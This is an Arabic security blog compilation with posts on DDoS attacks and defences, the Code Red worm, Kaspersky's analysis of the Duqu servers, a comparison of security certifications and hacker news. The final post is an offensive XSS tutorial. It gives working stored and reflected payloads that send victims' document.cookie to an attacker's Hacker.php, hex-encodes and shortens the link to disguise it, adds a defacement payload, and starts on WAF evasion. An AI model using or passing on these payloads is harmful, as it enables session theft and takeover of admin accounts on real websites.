إنترنت موجود على العنوان (http://staff.washington.edu/dittrich/misc/ddos/).

كيفية عمل هجوم حجب الخدمة الموزعة ؟

تعتبر هجمات حجب الخدمة الموزعة DDoS (Distributed Denial of Service)، نوعاً جديداً من هجمات حجب الخدمة العادية التي تعتمد على استخدام برامج معينة في الهجوم. وهذا النوع من الهجمات، هو الذي استخدم في الهجوم على كبرى مواقع إنترنت، مثل ZDNet Yahoo!، eBay، Amazon، CNN، وغيرها. وتعتمد هذه الهجمات على تجنيد أجهزة كمبيوتر متصلة بإنترنت، بدون علم مالكيها، وتوجيهها إلى بث الرزم الشبكية إلى مزود معين، بهدف إيقافه عن العمل، نتيجة ضغط البيانات المستقبلة. ويعتمد هذا النوع من الهجمات على وضع برنامج خبيث خاص، من نوع "حصان طروادة " (Trojan horse)، في كل حاسوب متصل بالشبكة يمكن الوصول إليه، عن طريق إرسال البرنامج بواسطة البريد الإلكتروني، مثلاً، وتفعيله على هذه الأجهزة، لتعمل كأجهزة بث للرزم الشبكية، عند تلقيها الأمر بذلك من برنامج محدد يقبع على جهاز أحد المخترقين. ومن أشهر البرامج المستخدمة في إجراء هذه الهجمات: TRINOO stacheldraht. & Tribe FloodNet & TFN2K، يعتبر هذا النوع من هجمات حجب الخدمة، أكثر الأنواع خطورة، حيث يمكن أن يشكل خطراً على الشبكة (الإنترنت) كلها، وليس على بعض المواقع فقط، حيث أن كل موقع من المواقع التي أصيبت في شهر فبراير" الشهر الأسود "، بهذا النوع من هجمات حجب الخدمة، هي مواقع تحجز جزءاً كبيراً من حزمة البيانات في الشبكة (الإنترنت)، ما قد يهدد الشبكة بالكامل. وإن حدث ذلك يوماً، فنتوقع أن يشهد العالم أزمة اقتصادية شاملة!

ويتفق الخبراء اليوم على أنه لا سبيل لعلاج الهجمات الموزعة أو تفاديها. ورغم أن البعض يقترحون استخدام أساليب التحقق من الهوية والتشفير لمعالجة حزم المعلومات المتناقلة، فإنهم يتفقون أيضا على أن هذه الطرق غير عملية لمعالجة المشكلة على إنترنت. وهنالك اقتراحات أخرى بتضمين المعالجات إرشادات يمكنها تمييز هجمات الحرمان من الخدمات وفلترتها قبل أن تؤثر على نظام التشغيل، وهو حل تعمل على تطويره العديد من الشركات المنتجة لبرمجيات مكافحة هجمات الحرمان من الخدمات اليوم.

الشيفرة الحمراء

عندما ظهرت الشيفرة الحمراء في عام 2001 قدّر بعض الخبراء الخسائر الناجمة عن هذا الفيروس بنحو 2 مليار دولار والاسم التقني لهذا الفيروس يشير إلى الثغرة التي يستغلها هذا الفيروس وهو Buffer overflow، وهي ثغرة موجودة في مزودات مايكروسوفت IIS في الإصدارات 4 و 5 التي تعمل ضمن ويندوز 2000 أو الإصدارات التجريبية من ويندوز أكس بي. تخيل موقعا تحتاج للدخول إليه إلى اسم مستخدم وكلمة سر، ثم تخيل أنك قمت باستعمال اسم مستخدم يتكون من مليون حرف!! ما يحصل في بعض النظم، والتي لم يتم بها تحديد الحد الأقصى لحجم المتغيرات، هو أنها إما تنهار أو تسمح للمستخدم بالدخول. أما في حالة الثغرة الموجودة في برمجيات مايكروسوفت المذكورة أعلاه فهو أن النظام يسمح للهكرز بالدخول، ومن ثم تنفيذ أية مجموعة يريدها من الأوامر. ويستغل فيروس، أو دودة، الشيفرة الحمراء هذه الثغرة لينفذ إلى المزودات، ومن ثم الانتشار إلى مزودات أخرى، ليتحول إلى هجمة حرمان من الخدمات، حيث يقوم باستهلاك نطاقات الموجة للبحث عن ومسح مجموعات من عناوين IP المولّدة شبه عشوائيا. وقد كان الفيروس فعالا في الانتشار إلى حد أنه تمكن من الوصول إلى 250 ألف نظام في الساعات التسعة الأولى من ظهوره. وخلال هذه الساعات قام الفيروس بوضع العبارة " Welcome to www.worm.com Hacked by Chinese!" كاستجابة لأية طلبات لوصلات HTTP. وتبدأ هذه المرحلة في اليوم الأول من الشهر وتستمر حتى اليوم التاسع عشر منه (من أي شهر). وفي مرحلة الإغراق، وهي المرحلة الثانية، والتي تتواصل في الفترة ما بين 20 و 27 من أي شهر، فإن الفيروس قام باستهداف عناوين IP الخاصة بالبيت الأبيض الأمريكي، والذي تمكن من مكافحة الهجوم بتغيير عنوان IP ضمن نظام أسماء النطاقات المركزي. ومع ذلك، فإن مشتقات هذه الدودة، والتي ظهرت لاحقا، تقوم باستخدام أساليب أخرى للاستهداف. فبالإضافة إلى استخدام العناوين المكتوبة بالحروف، وليس بأرقام IP فقط، فإن المشتقات الجديدة يمكنها استهداف مواقع في بلدان معينة، أو أقاليم معينة. وفي المرحلة الثالثة فإن الدودة تخلد إلى النوم، حتى بداية الدورة في الشهر التالي.

مشتقات الشيفرة الحمراء

وبالنسبة لمشتقات دودة الشيفرة الحمراء الأصلية، فقد كانت أكثر ذكاء وقدرة على الانتشار، حيث أنها لم تقم بالبحث عن نفس القائمة من عناوين IP، كما أنها لم تستخدم الرسالة الإنجليزية الأصلية، مما أطال من فترة الاكتشاف والانتشار. وبدلا من أسلوب التخريب الأول فإن المشتقات الجديدة تقوم بوضع فيروسات طروادية، تقوم بفتح مسالك للنفاذ إلى الأجهزة المصابة بالفيروس، والتي لم يتم معالجة الثغرة بها، مما يسمح للهكرة مستقبلا باستخدام هذه الأجهزة لشن هجمات جديدة للحرمان من الخدمات. كما أن المشتقات الجديدة كما ذكرنا تقوم بتوليد عناوين IP عشوائية للعثور على أجهزة جديدة لاختراقها.

الشيفرة الحمراء ليست حكرا على مايكروسوفت فقط

ربما تكون قد سمعت في الأنباء، أو قرأت على المواقع التقنية، بأن دودة "الشيفرة الحمراء" يؤثر فقط على المواقع التي تستخدم مزودات مايكروسوفت. وإذا اعتقدت أنك بأمان لأنك لا تستخدم منتجات مايكروسوفت، فإنك مخطئ. فالشيفرة الحمراء كما أوضحنا، وأثناء بحثها عن عناوين جديدة لاختراقها، ترسل رسائلها إلى جميع المزودات دون استثناء، حيث تقوم بإرسال أمر GET بحثا عن الملف default.ida يتبع ذلك أمر طويل ليس له معنى. ويعني ذلك أنه يصبح لزاما على المزود أن يقوم بمعالجة مجموعة كبيرة من حزم get، مما قد يؤدي إلى إحداث بعض الضغوط على الأداء. وبالإضافة إلى ذلك، إذا كان لديك مزود وسيط يقوم بتسريع أداء مزود ويب، فإنه يقوم بإرسال هذه الأوامر إلى مزود الويب، والذي رغم أنه قد لا يتعرض للعدوى بالفيروس، فإنه حتما سيعاني من تراجع في الأداء نتيجة للكم الهائل من الحزم التي سيكون عليه معالجتها. لذلك احرص على زيارة موقع إنترنت الخاص بالشركة المنتجة لمزود الويب الذي تستخدمه، وابحث عن الرقع البرمجية الخاصة بدودة الشيفرة الحمراء.

حقائق حول هجمات حجب الخدمة

ومع ان هجمات حجب الخدمة تبدو بسيطة وتافهه أحيانا بنظر المبتدئين ممن يديرون خواديمهم الخاصة ولكن يبقى هذا الهجوم من اخطر اعمال الهكرز، فالاختراق يوقف الموقع بتغيير الواجهة الرئيسية مثلا، ويوقف الخادوم بعمل فورمات أو حتى الجهاز الشخصي، وتتم اعادة نسخة احتياطية محفوظة وبسرعة، بينما هجوم حجب الخدمة قد يوقف عمل الخادوم (Servers) لفترات طويلة وقد تقطع مصالح واعمال وقد تعرضت مواقع كبيرة لشبح هذا الهجوم الفتاك وهذا الهجوم لا يقف عند حد معين أو يستهدف منفذا معينا أو خدمة معينة، لكن لك خدمة هجوم وحتى تكرار تصفح الموقع بعمل تحديث أو الدخول عليه أكثر من مرة من آلاف الأجهزة هجوم على المنفذ 80 أو محاولة الاتصال بمئات المستخدمين على منفذ ftp وكلما طال الهجوم وكثر الطلب على الخدمة زاد الخطر وقد تدمر عتاد الحاسوب بالضغط واستهلاك موارد النظام، والحماية الفعلية لا تكمن في الجدار الناري لان الجدار الناري ربما يزيد في خطورة إذا كان مبرمج على طريقة عرض رسالة أو إرسال رسالة عند تلقي هجوم فيزيد من الضغط على موارد النظام الفعلية CPU، يجب على مدير الشبكة أو الخادوم مراقبة البيانات واغلاق الخدمة التي تتعرض للهجوم مؤقتا حتى تجد حلا لها ويكون بتغيير ايبي مؤقتا لكي لا ينقطع عملك، هذا جزء من الاجزامة لهذا الهجوم الجبار ،ولحسن الحظ القليل يعرف كيفية استثماره وللاسف جهل الكثيرين بطريقة الوقاية منه ووقوع الكثير من مدراء الخواديم تحت هجمات بسيطة ولكن لم يستطيعوا حلها وادت لمشاكل أكبر

الحماية من هجمات الحرمان من الخدمة

تتم الحماية من هذه الهجمات عن طريق برامج أو أجهزة جدران نارية لكي تمنع وصول الحزم إلى النظام.

نظام (DoS.deny)

ما هو نظام (Dos.deny) ؟

نظام الحماية Dos.deny هو نظام مخصص لاكتشاف هجمات الحرمان من الخدمة DOS والتصدي لها ومنعها من التأثير على أداء المخدمات أو المواقع التي تسعمل هذا النظام، ولمن لا يعرف ما هي عمليات الحرمان من الخدمة، فهي قيام شخص باستهداف موقع ما وذلك بإرسال قدر هائل من طلبات التصفح HTTP Request بغرض منع الموقع من العمل بشكل سليم أو إبطاء عمل الموقع، أو حتى الإطاحة بشكل كامل بخادوم الموقع بحيث يقف نظام الخادوم (Apache / IIS...) عن العمل نهائيا جراء الكم الهائل من أوامر التصفح.

كيف يعمل نظام Dos.deny ؟

عن طريق إضافة سطر واحد إلى ملفات موقعك، سيكون بإمكان النظام قراءة رقم الأي بي (IP) لكل زائر، وعن طريق تخزين هذه الأرقام وتتبعها وفقاً لخوارزمية معينه سيكون بمقدور النظام اكتشاف عمليات الحرمان من الخدمة وذلك بضوابط يمكن لمدير الموقع التحكم بها من خلال لوحة التحكم، بمعنى أنه يمكنك تحديد كم عدد المحاولات والفترة التي تقع فيها هذه المحاولات، والتي على أساسها يمكن الحكم ان هذا الأي بيIP)) يقوم بهجمة للحرمان من الخدمة ! عندها سيقوم النظام بالكتابة في ملفات من نوع.htaccess وذلك لمنع ذلك IP من الوصول إلى موقعك (أو أجزاء من موقعك تستطيع تحديدها أيضا(

هل يدعم هذا النظام هجمات الحرمان من الخدمة الموزعة (DDOS)

ليس بشكل كامل.. لن يستطيع هذا النظام الحماية من هجمات الحرمان من الخدمة الموزعه DDOS إذا كانت الهجمات تتم عن طريق عدد كبير جدا من أرقام الأي بي، اما إذا كانت الهجمه تتم عن طريق عدد محدود من أرقام الأي بي، فمن خلال ضبط الإعدادات بشكل أكثر صرامة سيكون بمقدورك إيقاف أو الحد من هذه العمليات بشكل كبير.
ما الحلول المناسبة لتفادي هجمات الحرمان من الخدمة ؟!

الطريقة المثلى لجعل شبكتك آمنه من هجمات حجب الخدمة المستقبلية هي الاشتراك في القائمة البريدية "لفريق الاستجابة لطوارئ الحاسب" CERT أو Computer Emergency Response Team من موقعهم الخاص http://www.cert.org/
وصلات مفيدة

www.afinis.co.cc : المصدر

خوادم لينكس استخدمت كمراكز تحكم بدودة Duqu

2012-09-19T12:08:00.000+01:00

قامت مختبرات كاسبرسكي بنشر تفاصيل جديدة مثيرة حول دودة Duqu والتي هاجمت أهداف متعددة بغرض سرقة بيانات وتحديداً في إيران. التفاصيل تشير إلى ان الخودام التي استخدمت كمراكز سيطرة وتحكم بالدودة هي خوادم لينكس وفي غالبها كانت من توزيعة CentOS. وفي ما يلي قائمة تخلص التفاصيل الجديدة:

- الخودام يعود تاريخ عملها الى شهر نوفمبر (تشرين الثاني) 2009 على أقل تقدير.

- خودام عديدة تم اختراقها في امكان متعددة في فيتنام، الهند، المانيا، سنغافورة، سويسرا، المملكة المتحدة (بريطانيا)، هولندا، بلجيكا، كوريا الجنوبية وغيرها. غالب الخوادم التي تم اختراقها هي خوادم لينكس تستخدم توزيعة CentOS سواء التي تدعم معيارية 32bit او 64bit.

صورة توضحية تظهر خوادم مخترقة وخوادم تم تحليلها من قبل مختبرات كاسبرسكي وضحايا الهجوم - نقلاً عن Kaspersky Labs

- الخوادم يبدو أن اختراقها تمّ عبر محاولة كسر كلمة مرور المستخدم الجذر (التعليق على ذلك سيأتي في سياق المقال).

- المخترقون قاموا فور اختراق الخوادم بترقية حزمة OpenSSH 4.3 إلى الإصدارة الأخيرة OpeenSSH 5.8.

- عملية تطهير شامل لآثار الاختراق والسجلات التي تدل عليه تمّت في 20 اكتوبر (تشرين أول) في كل الخودام التي استخدمت في الهجوم الأخير بالإضافة الى التي “لم يتم” استخدامها.

- مركز السيطرة والتحكم الرئيسي لازل مجهولاً.

اللغز في هذا التحليل يكمن في الآلية التي استخدمت لاختراق خوادم لينكس، والذي جعلت عملية التطهير للخوادم حلّه أمراً صعباً للغاية.

وفقاً لمختبرات كاسبرسكي، فقد تمكنوا مهندسوها من استرجاع بعض الملفات التي تم حذفها خلال عملية التطهير والتي تظهر محاولات لكسر كلمة مرور الجذر

سجل يظهر محاولات كسر كلمة مرور المستخدم الجذر - Kaspersky Labs

وفقاً للسجّلات اعلاه استغرقت العملية 8 دقائق و 42 ثانية. هذا دليل على أن كلمة المرور في حال كانت هذه هي الطريقة التي استخدمت لاختراق الخوادم، كلمة ضعيفة بالإضافة إلى ان مدير الخادم لم يفعّل أي آلية حماية ضد هذا النوع من الهجمات.

ولكن ما يثير التساؤل هو لماذا قام المهاجمون بتحديث حزمة OpenSSH من 4.3 إلى 5.8؟

سجلات تظهر قيام المهاجمين بتحديث حزمة OpenSSH - نقلاً عن Kaspersky Labs

هناك سببان لذلك كما ذكر أحد المعلّقين:

1- الإصدارة المثبّتة (OpenSSH 4.3) تحتوي على ثغرة تمّ اصلاحها في الإصدارة الأخيرة، والمهاجمون أراد ترقيعها حتى لا يتمّ اختراق الخوادم من قبل مجموعة أخرى من المهاجمين (بدوافع مختلفة).

2- لإن الإصدارة المثبتة لا تحتوي على خصائص واضافات جديدة يحتاجها المهاجمون وتدعمها الاصدارة الجديدة.

قد تكشف الأيام المقبلة المزيد من التفاصيل المثيرة حول هذه الدودة وبعضاً من ألغازها.

www.afinis.co.cc : المصدر

مقارنة بين شهادات أمن المعلومات

2012-09-19T12:03:00.000+01:00

إذا كنت مهتم في مجال أمن المعلومات فلا بدّ أنّه قد مرّ عليك العديد من الشهادات في هذا المجال، وهو ما يوقع المرء في حيرة من أمره. فأي هذه الشهادات يختار وعلى أي أساس يجري مقارنة بين هذه الشهادات وأي يكمن أفضل إنفاق لماله وعلى أي شهادة من هذه الشهادات. هذا ما سأحاول إن شاء الله تغطيته.

قبل البدء في المقارنة أود الإشارة إلى أنّه لا يوجد شهادة قط تعادل الخبرة، ولكن الكثير من أماكن العمل تطلب هذه الشهادة أو تلك. أنت من سيحدد مسارك سواء إذا ترغب في الالتحاق بوظيفة او القيام بمشروعك الذاتي أو خلاف ذلك. في هذه المقالة سنحاول مقارنة بعض أشهر شهادات المعلومات وما الذي يحتاجه المرء للحصول عليها. تذكر، لاشيء يعادل الخبرة.

Security+

هذه الشهادة تعد شهادة محايدة بمعنى أنها غير تابعة لمنتج أو شركة معنية. شركة CompTIA هي الشركة الراعية لهذه الشهادة. الإمتحان يغطي خمس مجالات وهي:

أمن الشبكات
أمن العمليات والامتثال (Compliance)
الثغرات والتهديدات
أمن التطبيقات والبيانات والأجهزة
التحكم بالدخول وإدارة الشخصيات
التشفير

الشهادة مرّت بتغير كبير عام 2008. هناك معاهد تقوم بإجراء تدريب على هذه الشهادة حيث يتمّ فيه عمل تغطية عملية للمواضيع المطروحة. لا يوجد متطلبات لهذه الشهادة ولكن CompTIA تنصح المتقدم لهذه الشهادة بان يكون حاصل على شهادة Network+ ولديه سنتان خبرة عملية.
مدة الامتحان: 90 دقيقة
عدد الأسئلة: 100 سؤال
العلامة المطلوبة للنجاح: 750 من 900
رسوم الشهادة: ~270 دولار

CISSP Certified Information Systems Security Professional

واحدة من أكثر الشهادات شهرة في مجال أمن المعلومات. هذه الشهادة تغطي 10 مجالات في أمن المعلومات وتعتبر إدارية أكثر منها عملية ولكن الشخص المتقدم للامتحان يحتاج إلى خمس سنوات خبرة. سامر قام بتغطية رائعة لهذه الشهادة في مقال يمكن الاطلاع عليه هنا.
المجالات التي يتم تغطيتها في الشهادة هي:
1- التحكم بالوصول.
2- أمن التطبيقات.
3- استمرارية العمل و التخطيط للاسترجاع بعد الخراب.
4- التشفير.
5- امن المعلومات وإدارة المخاطر.
6- القوانين والتحقيقات.
7- أمن العمليات.
8- أمن البيئي.
9- أمن التخطيط والتصميم.
10- الإتصالات وأمن الشبكات.

متطلبات الشهادة:
1- خمس سنوات خبرة أو أربع سنوات خبرة وسنة جامعية أو شهادات أخرى من منظمات أخرى.
2- قبول الكود الأخلاقي ل CISSP.
3- الإجابة على أسئلة حول الخلفية وتحديداً الجنائية للمتقدم.
4- مصادقة شخص حامل للشهادة على خبرات الشخص المتقدم.

الشهادة صالحة لثلاث سنوات فقط وبعدها على حامل الشهادة تقديم الإمتحان مرّة اخرى. أو الحصول على تدريب او المشاركة في تدريب او إعداد أبحاث في مجالات الشهادة يحصل من خلالها حامل الشهادة على نقاط تعرف ب CPE أو Continuing Professional Education إذا حصل الشخص على 120 نقطة مع نهاية الثلاث سنوات فبإمكانه تجديد الشهادة من إعادة الإمتحان.

امتحان CISSP يحتاج الى دراسة مكثفة ولهذا عليك التخطيط جيداً والعمل طويلاً إذا اردت التقدم لهذه الشهادة.
عدد أسئلة الإمتحان: 250 سؤال
مدة الامتحان: 6 ساعات.
رسوم الامتحان: 599 دولار

للنّجاح على الممتحن الحصول على 700 نقطة على الأقل. الإمتحان يعطى على الورق وليس على الحاسوب والنتيجة تظهر بعد أسبوعين على الأقل من يوم تقديم الإمتحان.

C|EH Certified Ethical Hacker

اكتسبت هذه الشهادة الكثيرة من الشهرة كونها من أوائل الشهادات التي طرحت في هذا المجال. ولكن هناك الآن العديد من الشهادات التي تنافس وبقوة هذه الشهادة. آخر نسخة من هذه الشهادة هي الإصدارة السابعة و تحتوي على تعديلات هائلة إذا ما قورنت بالإصدارات السابقة. هناك الكثير من الانتقادات لهذه الشهادة واتهامات باحتوائها على مواد مسروقة.

ميزة هذه الشهادة انه تثبت أن لديك معرفة بأساليب الهاكرز وأدواتهم المستخدمة. ولكن عيب كبير فيها ان التركيز في غالبه يتم على الادوات والعديد من الادوات المستخدمة قديمة.
عدد أسئلة الإمتحان: 150
مدّة الامتحان: 4 ساعات
علامة النجاح: الحصول على 70% على الاقل
رسوم الامتحان: 500 دولار (الاصدارات السابقة كانت 100 دولار) + 100 دولار للطلب

OSCP Offensive Security Certified Professional

هذه الدورة عملية بمعنى الكلمة. من التدريب وحتى الامتحان. المبادئ يتم شرحها بشكل بسيط مع إعطائك مصادر (في الغالب من الويكي) للقراءة أكثر حول الموضوع. ما ستتعلمه في التحضير لهذه الشهادة يفوق بمراحل ما يمكن تعلمه في شهادة ك C|EH. يمكن الاطلاع على مقالة صبري الرائعة حول الشهادة هنا.
مدّة الامتحان: 24 ساعة
رسوم الامتحان: 750 دولار تشمل التدريب و30 يوم للدخول على المختبر بالاضافة الى الشهادة

SANS GPEN GIAC Certified Penetration Tester

هذه الشهادة يسبقها 6 أيام من التدريب والذي يقدمه معهد سانز الأيام الخمس الأولى موزعة كالآتي:
اليوم الاول: يغطي التخطيط و مجال الإختبار والجوانب القانونية والإدارية وختماً عملية تفحص الهدف.
اليوم الثاني: يغطي عملية المسح.
اليوم الثالث: يغطي عملية استغلال الثغرات.
اليوم الرابع: هجمات كلمات المرور.
اليوم الخامس: الشّبكات اللاسلكية وتطبيقات الويب.

وأخيراً اليوم السادس وهو اليوم الذي على الطالب القيام فيه بتطبيق كل ما تعلّمه في الأيام الخمس الأولى في مسابقة أمسك العلم. جانب مهم جداً في هذه الشهادة هو التركيز على الأدوات التي فعلاً يحتاج إليها المختبِر وليس مثل C|EH في عرض عشرات الأدوات لكل مهمة من المهمات. وهي ليست مثل شهادة OSCP حيث انها تغطي الجوانب النظرية والعملية معاً. الشهادة تعدّ المتقدم الى سوق العمل بشكل ممتاز خصوصاً إذا كانت اختبارات الاختراق هي اهتمامك.
عدد أسئلة الإمتحان: 150 سؤال
مدّة الامتحان: 4 ساعات
العلامة المطلوبة: 70%.
رسوم الامتحان: 499 دولار إذا حصل الطالب على التدريب 899 دولاراً بدون تدريب

نصيحة أخيرة، أنت من يعرف احتياجات سوق العمل لديه، وكذلك مجالات اهتمامه، ولذلك أنت من يقرر أي هذه الشهادات أو غيرها هو الأفضل لك. هذه فقط محاولة لتسليط الضوء على بعض أشهر الشهادات الموجودة في السوق.

www.afinis.co.cc : المصدر

هاكر يبلغ من العمر 17 سنة يخترق موقع متخصص في تدريب الامن المعلوماتي وتقديم شهادة الهاكرالأخلاقي

2012-09-18T11:39:00.000+01:00

ان يخترق موقع متخصص في تقديم دروس الامن المعلوماتي والحصول على شهادة هاكر اخلاقي امر عادي جدا ، لكن ان يخترق من طرف مراهق يبلغ من العمر 17 سنة هذا هو الغير عادي في القصة خصوصا وان الثغرة المكتشفة
من طرف الهاكر وطريقة إستغلالها بسيطة على حد تعبير الهاكر المجهول . اضف الى ان الموقع المخترق
.يسهر على تأمينه العديد من الكفاءات ankitfadia.in

إن ضرب المواقع التي تقدم تدريب في الامن المعلوماتي هو ضرب مباشر لسمعة الموقع كذلك ، خصوصا وان الراغب في تلقي دروس في الامن المعلوماتي لازال غير قادر د على الإستيعاب الجيد لفكرة "لاوجود لحماية قصوى في
." العالم الإفتراضي

غير ذلك فإن المراهق لم يقم فقط بإختراق الموقع بل كذلك نشر رسالة يخاطب فيها مؤسس الموقع حيث يقول : " هذا الكذاب يدعي ان له دراية جيدة بميدان الهاكينغ والحماية ، وقام بتأسيس هذا الموقع من اجل ان يقدم تداريب
. "سؤالي هو : من أين لك شهادتك ؟؟ AFCEH في مجال الامن المعلوماتي لنيل شهادة

الهاكر رغم صغر سنة إلا ان له إنجازات كبيرة في ميدان الإختراق وهي مسجلة في مواقع تسجيل الإختراق اضافة
. الى كونها متنوعة بين مواقع حكومية واخرى خاصة بوسائل الإعلام كذلك مئات المواقع الاخرى
ankitfadia.in بالفعل إستطاع هذا الشاب ان يلقن "خبراء الحماية" الساهرين على تأمين موقع
درسا جديدا يضاف الى سجل الدروس التي لقنت لطاقم الموقع بالمجان خصوصا وان الدرس الاول كان في شهر يناير من السنة الحالية حيث إخترق الموقع وسحبت منه بيانات عشرات المتدربين من اجل نيل شهاة هاكر
.اخلاقي

www.afinis.co.cc : المصدر

اغبى هاكر لسنة 2012 بإمتياز

2012-09-16T18:00:00.000+01:00

إختراق انظمة المعلوميات للمنشآت النووية امر ليس بالسهل ويتطلب قاعدة اساسية وهي اشخاص متمرسين ذوي خبرة وغير عادين ، القاعدة التي لم يتمكن من اذراكها بشكل جيد احد الهاكرز الذي حاول إختراق شركة
. Areva متعددة الجنسيات تهتم بالطاقة النووية وكذلك مشاريع اخرى لها علاقة بالطاقة
حيث قام الهاكر بمراسلة الشركة بالتروجان عبر ايميل هذا الاخير بعد تحليله من طرف باحثين امنين وفك الضغط عن الملف التنفيدي تفاجأ الباحثون ان الملف التنفيدي الذي يحتوي على 30 ميغا (الامر الغير طبيعي) يحتوي
Dark Comet Remote على صور عائلية وكذلك على ملفات ايتونز اضف الى ذلك تروجان يتحكم فيه عبر اداة
. التي يستخدمها الهاكرز على نطاق واسع في إختراق الشركات Administration Tool
غير ذلك الغريب في الامر ان التروجان المكتشف لايعمل رغم تنفيده لان التروجان بكل بساطة لم يتم اعداده بشكل
. جيد

(صورة للهكار مع احد اقربائه)

وهو عضو في فريق الكشف عن البرامج الضارة ان التروجان عند تتبيثه Snorre Fagerland حيث يقول

فإنه لايعمل كون انه لم يتم اعداده بشكل صحيح ،كذلك ان حجم التروجان غير طبيعي 30 ميغا ويحتوي على صور عائلية وكذلك ملفات ايتونز. كما اضاف الخبير الامني قائلا انه يضع هذا الهجوم امام فرضيتين اثنين اولهما انه من الممكن ان يكون هذا الهجوم هو حقيقي وان الخطأ الذي ارتكبه الهاكر انه جرب التروجان محليا فقط ، لهذا فإن خطأ في الإعدادات جعل التروجان لايعمل عن بعد . اما الفرضية الثانية والتي تجعلني لا اعرف هل اضحك ام ابكي هو ان الهاكر عندما قام بتكوين التروجان الخاص به ،اضاف صوره العائلية وكذلك ملفات الايتونز الخاصة به دون ان ينتبه
. الى ذلك او لحجم التروجان

.الامر الذي اذا ما تحقق سيجعل هذا الهاكر وبدون اي منافس اغبى هاكر لهذه السنة بإمتياز

www.afinis.co.cc : المصدر

ثغرات Cross Site Scripting - xss

2012-08-09T02:22:00.002+00:00

السلام عليكم في هده التدوينة سوف أشرح لكم عن نوع من أنواع ثغرات Web Application و هي Cross Site Scripting
وإختصارها هو xss وعن نوعيها reflected و stored أولا نأتي لشرح هده الثغرات وهي كالتالي :
تعتمد ثغراث xss على مدخلات يتم إدخالها من طرف المخترق وهي تكون بلغة javascript أو html و يتم إدخالها غالبا في صندوق التعاليق أو في مربع البحث وبطرق أخرى سوف ندرسها في مايلي من التدوينة أما عن سببها فهو أن المبرمجين لا يقومون بوضع أكواد تمنع من إدخال هده الإستغلالات من طرف المخترقين بالنسبة لما يخص إنتشار هده الثغرة فهو كبير جدا ويسهل الإختراق بها وعن بعض نتائج الإختراق بها فهي كالأتي:
-سرقة الكوكيز والدي يسمح لك بالدخول إلى لوحة التحكم للموقع بدون معرفة كلمة السر
-تحويل زوار الموقع المخترق إلى موقع أخر من إختيارك وهدا مايستغله البعض في تحويل الزوار إلى مواقع ويطلبون تحميل ملفات أو برامج يوهمون الضحية بأنها
من صاحب الموقع المخترق وبالتالي تكون هده البرامج عبارة عن فيروسات تؤدي إلى إختراق أجهزتهم
-تغيير محتوى الصفحة بإدحال أكواد html كالتي نراها يوميا و بالمئات وهده تكون غالبا من طرف الأطفال الدين يسمون أنفسهم بالمحترفين
ويمكن للمخترق الدكي أن يستعمل الكثير من الطرق ليستغل هده الثغرة شر إستغلال
نأتي الأن إلى طريقة الإختراق عن طريقها يمكن أن ندهب إلى أي تطبيق ويب كمحركات بحث المواقع

ونجرب عليه هدا الكود <script>

نقوم بإلقاء نضرة على الكود المصدري لصفحة

كما ترون فإن الكود تم إلحاقه كما كتبناه أما إدا كان الموقع محميا لكتب الكود بهدا الشكل <script>

بعد أن تأكدنا أن التطبيق مصاب بالثغرة نقوم بالتأكيد أكثر عبر إدخال كود جافاسكربت هدا <script>alert('BTS')</script>

فيكون الناتج كالأتي :

نعم فكما ترون ضهر الرقم الدي وضعناه بين قوسين وهدا دليل على أن التطبيق مصاب بالثغرة

أنواع ثغرات xss :

فكما دكرنا في أول التدوينة فإن ثغرات xss نوعين وهما

stored وهو الأكثر خطورة بحيث يتم الإحتفاض بالكود في قاعدة البيانات فخد معي كمثال صندوق التعليقات الموجود تحت هدا الموضوع فلو كان الموقع مصابا فيمكن للمخترق أن يكتب كودا بالجافاسكربت يستطيع به أن يسرق كوكيز كل من يدخل هده الصفحة

وأشياء أخرى

reflected وهو النوع الأكثر إنتشارا بين المواقع هده الأيام يرسل الكود الضار إلى السرفر عن طريق HTTPrequest السرفر يقوم بإلحاقه بملف html و يرجع الملف وهدا ما يسمى بHTTPResponse إلى المتصفح وعندما المتصفح يفتح ملف HTML يضهر الكود المحقون للمتصفح و هدا النوع يطبق على صناديق البحث بالمواقع وتكون له أضرار كالنوع الأول

كيف يتم سرقة الكوكيز

تستطيع سرقة الكوكيز بكل أنواع Cross Site Scripting فكل ما تحتاجه هو ملفين الأول يكون مكتوب بلغة php مكتوب به كود يقوم بسرقة الكوكيز وأخر بصيغة txt يقوم بإستقبال الكوكيز وتحفض به و تحتاج كدلك لإستضافة لرفع الملفين عليها وهي بكثرة و مجانية ويكون ملف php بعد الرفع بهدا الشكل hxxp://www.YourSite.com/Hacker.php

نقوم الأن بحقن الكود في المواقع المصابة بالstored بهدا الشكل

<script>location.href = 'http://www.Yoursite.com/Hacker.php?cookie='+document.cookie;</script>

وبمجرد دخول admin إلى هده الصفحة فسيتم إرسال الكوكيز الخاص به عن طريق ملفHacker.php إلى الملف النصي txt وبتغيير بسيط في اعدادات المتصفح ستتصفح الموقع المصاب وسوف تدخل الى لوحة التحكم من دون الحاجة الى معرفة كلمة السر او اليوز

لن اشرح كيفية تغيير اعدادات المتصفح ويمكنكم ان تبحثو عنها في google

اما بالنسبة للمواقع المصابة بالنوع الآخر reflected فسيكون الإستغلال مختلفا بعض الشئ بحيث نحقن الكود السابق في صناديق البحث بحيث تضهر في مكان وضع أسماء المواقع كالآتي

hxxp://www.VulnerableSite.com/index.php?search=<script>location.href ='http://www.Yoursite.com/Hacker.php?cookie='+document.cookie;</script>

وبعدها تقوم بحفض الكود وإرساله إلى الأدمن وبمجرد فتحه ستكون قد سرقت الكوكيز الخاص بموقعه

ولقليل من التمويه يمكن أن تقوم بتشفير الرابط فيصبح كالتالي

hxxp://www.VulnerableSite.com/index.php?search=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%77%77%77%2e%59%6f%75%72%73%69%74%65%2e%63%6f%6d%2f%53%74%65%61%6c%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e

أو أن تجعلو الرابط مختصر فيصبح hxxp://www.tinyexample.com/rdsse23

تغيير محتوى الصفحة

وهدا يكون فعالا في stored ولايكون فعالا في reflected بطريقة صحيحة ويمكن تطبيق الأمر الآتي

<'';'body onload= "document.body.innerHTML='YOUr html code her>

تخطي الحماية ضد ثغرات xss

في بعض الأحيان تكون المواقع مصابة لكنها تستعمل فلاتر مثل WAF فتضهر وكأنها غير مصابة ودلك بحيث إدا قمنى بإختبار هدا الكود <scirpt>alert("hi")</script> والموقع يحتوي على WAF فسيكون الناتج هو هدا

